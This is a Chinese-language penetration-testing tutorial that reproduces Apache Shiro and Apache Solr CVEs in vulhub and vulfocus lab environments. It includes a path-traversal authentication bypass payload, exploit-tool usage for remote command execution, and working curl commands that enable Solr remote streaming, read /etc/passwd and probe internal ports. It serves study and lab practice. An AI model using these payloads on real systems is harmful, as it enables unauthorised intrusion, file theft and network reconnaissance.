什么是框架?
就是别人写好包装起来的一套工具,把你原先必须要写的,必须要做的一些复杂的东西都写好了放在那里,你只要调用他的方法,就可以实现一些本来要费好大劲的功能。
如果网站的功能是采用框架开发的,那么挖掘功能的漏洞就相当于在挖掘框架自身的漏洞。如果框架产生漏洞也会对使用框架的网站产生影响。
常见语言开发框架:
PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
JAVA:Spring MyBatis Hibernate Struts2 Springboot等
Python:Django Flask Bottle Turbobars Tornado Web2py等
Javascript:Vue.js Node.js Bootstrap JQuery Angular等
Apache Shiro-组件框架安全
描述:Apache Shiro是一个强大且易用的Java安全框架,用于身份验证、授权、密码和会话管理。
判断:大多会发生在登录处,返回包里包含remeberMe=deleteMe字段。
漏洞复现: Shiro <= 1.2.4 默认密钥致命令执行漏洞(CVE_2016_4437)
描述:该漏洞源于程序未能正确配置‘remember me’功能使用的密钥。攻击者可通过发送带有特制参数的请求利用该漏洞执行任意代码或访问受限制内容。
影响版本:Apache Shiro 1.0.0版本至1.2.4版本中存在信息泄露漏洞
使用vulfocus靶场启动环境
直接使用工具利用漏洞
工具:https://github.com/ghealer/GUI_Tools
输入目标url开始检测漏洞
成功获取利用链之后执行命令
漏洞复现:Shiro < 1.5.2 验证绕过漏洞(CVE-2020-1957)
描述:Shiro框架通过拦截器功能来对用户访问权限进行控制,如anon, authc等拦截器。anon为匿名拦截器,不需要登录即可访问;authc为登录拦截器,需要登录才可以访问。主要是Spring web在匹配url的时候没有匹配上/导致绕过
使用vulhub靶场启动环境
点击login和Accout info都会跳转到如下登录验证
直接访问poc:/xxx/..;/admin/ 绕过验证,进入后台
Apache Solr-组件框架安全
描述:Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。
漏洞复现:solr 远程命令执行 (CVE-2019-17558)
描述:Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能,利用Velocity-SSTI漏洞在Solr系统上执行任意代码。
使用vulfocus靶场启动环境
直接使用漏洞利用工具检测
工具:https://github.com/jas502n/solr_rce
输入命令:python solr_rce.py http://目标ip:端口 要执行的命令
使用python2运行
成功执行命令
漏洞复现:Apache Solr 文件读取&SSRF (CVE-2021-27905)
描述:Apache Solr的某些功能存在过滤不严格,在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或文件读取漏洞。
影响版本:全版本官方拒绝修复漏洞
1.使用vulhub靶场启动环境,点击core admin 创建数据库。因为是靶场,需要自己创建
2.创建完成,访问:/solr/admin/cores?indexInfo=false&wt=json 获取数据库名
3.通过命令行开启远程任意文件读取
命令行执行命令:
curl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
$'http://目标ip:端口/solr/数据库名/config'
成功开启:
4.读取敏感文件
命令行执行命令:curl -i -s -k 'http://目标ip:端口/solr/数据库名/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
成功读取敏感文件:
5.内网探针
命令行执行命令:curl -i -s -k 'http://目标ip:端口/solr/数据库名/debug/dump?param=ContentStreams&stream.url=http://127.0.0.1:80'
成功探针到目标内网80端口信息:
查看返回信息,发现在80端口部署了nginx服务